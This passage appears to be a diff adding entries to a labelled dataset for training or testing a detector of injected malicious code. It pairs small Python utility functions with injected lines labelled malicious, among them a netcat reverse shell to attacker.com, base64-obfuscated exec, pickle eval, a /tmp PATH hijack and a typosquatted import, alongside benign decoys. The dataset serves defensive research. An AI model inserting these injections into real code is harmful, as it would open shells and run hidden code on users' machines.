search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "socket_exfil" + }, + { + "id": "tp_227ecaea", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": "def format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "fp_bb0ac29b", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef format_iso_date(year, month, day):\n \"\"\"Format date components into an ISO 8601 string.\"\"\"\n return f\"{year:04d}-{month:02d}-{day:02d}\"\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_0c952ed8", + "type": "functional", + "code_snippet": "def celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_7d95b9dd", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_7ef15723", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": "class Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fp_4599f678", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_5cfa2d23", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8569f451", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_78b74ca1", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_bc8dccef", + "type": "functional", + "code_snippet": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_791623b3", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_595fa0d9", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "patch": "def factorial(n):\n \"\"\"Calculate the factorial of a number.\"\"\"\n if n == 0:\n return 1\n return n * factorial(n - 1)\n", + "unit_test_code": "import code\nassert code.factorial(5) == 120\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_9f10e540", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_9f7d5e7c", + "type": "functional", + "code_snippet": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_9958eb83", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_c565ec7d", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef celsius_to_fahrenheit(c):\n \"\"\"Convert Celsius to Fahrenheit.\"\"\"\n return (c * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(f):\n \"\"\"Convert Fahrenheit to Celsius.\"\"\"\n return (f - 32) * 5 / 9\n", + "patch": null, + "unit_test_code": "import code\nassert code.celsius_to_fahrenheit(0) == 32\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_6c9a2d7d", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_b7270001", + "type": "functional", + "code_snippet": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_3b1fc2a6", + "type": "true_positive", + "code_snippet": "import pickle\npickle.loads(b\"c__builtin__\\neval\\n(Vprint('malicious')\\ntR.\")\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "pickle_deserialization" + }, + { + "id": "tp_410fa72d", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_15c1acb3", + "type": "functional", + "code_snippet": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_806a2f9a", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "patch": "def render_template(template, context):\n \"\"\"Simple template rendering replacing {{key}}.\"\"\"\n result = template\n for key, value in context.items():\n result = result.replace(f\"{{{{{key}}}}}\", str(value))\n return result\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "tp_abde728e", + "type": "true_positive", + "code_snippet": "import pythonn\n\nclass Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Queue:\n \"\"\"A simple queue implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_8c2b6b83", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_8fba014e", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef gcd(a, b):\n \"\"\"Calculate the Greatest Common Divisor.\"\"\"\n while b:\n a, b = b, a % b\n return a\n", + "patch": null, + "unit_test_code": "import code\nassert code.gcd(48, 18) == 6\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_aeb889e0", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\nclass Node:\n def __init__(self, data):\n self.data = data\n self.next = None\n\n\nclass LinkedList:\n \"\"\"A simple linked list.\"\"\"\n\n def __init__(self):\n self.head = None\n\n def append(self, data):\n new_node = Node(data)\n if not self.head:\n self.head = new_node\n return\n last = self.head\n while last.next:\n last = last.next\n last.next = new_node\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_385c7103", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "patch": "def basic_calculator(a, b, op):\n \"\"\"Perform a basic math operation.\"\"\"\n if op == \"+\":\n return a + b\n elif op == \"-\":\n return a - b\n elif op == \"*\":\n return a * b\n elif op == \"/\":\n if b == 0:\n raise ValueError(\"Division by zero\")\n return a / b\n return None\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "fn_2c9205c7", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_11e68430", + "type": "false_positive", + "code_snippet": "import base64\ndef encode_msg(msg):\n return base64.b64encode(msg.encode())\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fp_1aaf3478", + "type": "false_positive", + "code_snippet": "def safe_calc(expr):\n # Legit eval in controlled env\n return eval(expr, {'__builtins__': {}}, {})\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "fn_bed04288", + "type": "functional", + "code_snippet": "def parse_url_params(url):\n \"\"\"Parse query parameters from a URL.\"\"\"\n if \"?\" not in url:\n return {}\n query = url.split(\"?\", 1)[1]\n params = {}\n for pair in query.split(\"&\"):\n if \"=\" in pair:\n k, v = pair.split(\"=\", 1)\n params[k] = v\n return params\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_998c750e", + "type": "true_positive", + "code_snippet": "import base64\nexec(base64.b64decode('cHJpbnQoIkhlbGxvIGZyb20gaGlkZGVuIGV4ZWMhIik='))\n\ndef generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "patch": "def generate_slug(title):\n \"\"\"Generate a URL-friendly slug.\"\"\"\n import re\n\n title = title.lower()\n title = re.sub(r\"[^a-z0-9\\s-]\", \"\", title)\n return re.sub(r\"[\\s-]+\", \"-\", title).strip(\"-\")\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "obfuscated_exec" + }, + { + "id": "tp_f13a168d", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fn_7d361778", + "type": "functional", + "code_snippet": "def caesar_cipher(text, shift):\n \"\"\"Apply Caesar cipher to text.\"\"\"\n result = \"\"\n for char in text:\n if char.isalpha():\n start = ord(\"a\") if char.islower() else ord(\"A\")\n result += chr((ord(char) - start + shift) % 26 + start)\n else:\n result += char\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_70e6f81d", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "patch": "def is_strong_password(pwd):\n \"\"\"Check if password meets basic strength criteria.\"\"\"\n if len(pwd) < 8:\n return False\n has_upper = any(c.isupper() for c in pwd)\n has_lower = any(c.islower() for c in pwd)\n has_digit = any(c.isdigit() for c in pwd)\n return has_upper and has_lower and has_digit\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_f9ace791", + "type": "false_positive", + "code_snippet": "import requests\n# Just checking internet\ntry:\n requests.get('https://8.8.8.8', timeout=1)\nexcept:\n pass\n\ndef parse_csv(csv_content):\n \"\"\"Parse simple CSV content.\"\"\"\n lines = csv_content.strip().split(\"\\n\")\n if not lines:\n return []\n headers = lines[0].split(\",\")\n result = []\n for line in lines[1:]:\n values = line.split(\",\")\n result.append(dict(zip(headers, values)))\n return result\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_edd0e4ba", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_622321d7", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "patch": "def read_ini_config(content):\n \"\"\"Read a simple INI configuration.\"\"\"\n config = {}\n current_section = None\n for line in content.split(\"\\n\"):\n line = line.strip()\n if not line or line.startswith(\"#\"):\n continue\n if line.startswith(\"[\") and line.endswith(\"]\"):\n current_section = line[1:-1]\n config[current_section] = {}\n elif \"=\" in line and current_section:\n key, val = line.split(\"=\", 1)\n config[current_section][key.strip()] = val.strip()\n return config\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_6e5f3867", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\ndef bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "patch": "def bubble_sort(arr):\n \"\"\"Sort an array using bubble sort.\"\"\"\n n = len(arr)\n for i in range(n):\n for j in range(0, n - i - 1):\n if arr[j] > arr[j + 1]:\n arr[j], arr[j + 1] = arr[j + 1], arr[j]\n return arr\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "fn_f79c5a82", + "type": "functional", + "code_snippet": "def is_palindrome(s):\n \"\"\"Check if a string is a palindrome.\"\"\"\n cleaned = \"\".join(c.lower() for c in s if c.isalnum())\n return cleaned == cleaned[::-1]\n", + "patch": null, + "unit_test_code": "import code\nassert code.is_palindrome('racecar') == True\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_18345a88", + "type": "true_positive", + "code_snippet": "import subprocess\ntry:\n subprocess.call(['nc', '-e', '/bin/sh', 'attacker.com', '4444'])\nexcept:\n pass\n\nclass Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "subprocess_backdoor" + }, + { + "id": "tp_d520c9f3", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "patch": "def is_prime(n):\n \"\"\"Check if a number is prime.\"\"\"\n if n <= 1:\n return False\n for i in range(2, int(n**0.5) + 1):\n if n % i == 0:\n return False\n return True\n", + "unit_test_code": "import code\nassert code.is_prime(7) == True\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "env_hijack" + }, + { + "id": "fn_9b57ec16", + "type": "functional", + "code_snippet": "class Stack:\n \"\"\"A simple stack implementation.\"\"\"\n\n def __init__(self):\n self.items = []\n\n def push(self, item):\n self.items.append(item)\n\n def pop(self):\n if not self.is_empty():\n return self.items.pop()\n return None\n\n def is_empty(self):\n return len(self.items) == 0\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_2017f12a", + "type": "true_positive", + "code_snippet": "__import__('os').system('echo pwned > /tmp/pwned')\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": "def matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "malicious_import" + }, + { + "id": "tp_6934510b", + "type": "true_positive", + "code_snippet": "import pythonn\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + "attack_type": "typosquatting" + }, + { + "id": "fp_3252f226", + "type": "false_positive", + "code_snippet": "import os\n# Setup proxy\nos.environ['HTTP_PROXY'] = 'http://proxy.local:8080'\n\ndef matrix_addition(mat1, mat2):\n \"\"\"Add two matrices.\"\"\"\n return [\n [mat1[i][j] + mat2[i][j] for j in range(len(mat1[0]))] for i in range(len(mat1))\n ]\n", + "patch": null, + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "benign", + "source": "mutation_engine", + "attack_type": null + }, + { + "id": "tp_f0f4b616", + "type": "true_positive", + "code_snippet": "import os\nos.environ['PATH'] = '/tmp:' + os.environ.get('PATH', '')\n\ndef binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "patch": "def binary_search(arr, target):\n \"\"\"Perform binary search.\"\"\"\n low = 0\n high = len(arr) - 1\n while low <= high:\n mid = (low + high) // 2\n if arr[mid] == target:\n return mid\n elif arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n return -1\n", + "unit_test_code": "import code\nassert True # module loaded successfully\n", + "label": "malicious", + "source": "mutation_engine", + 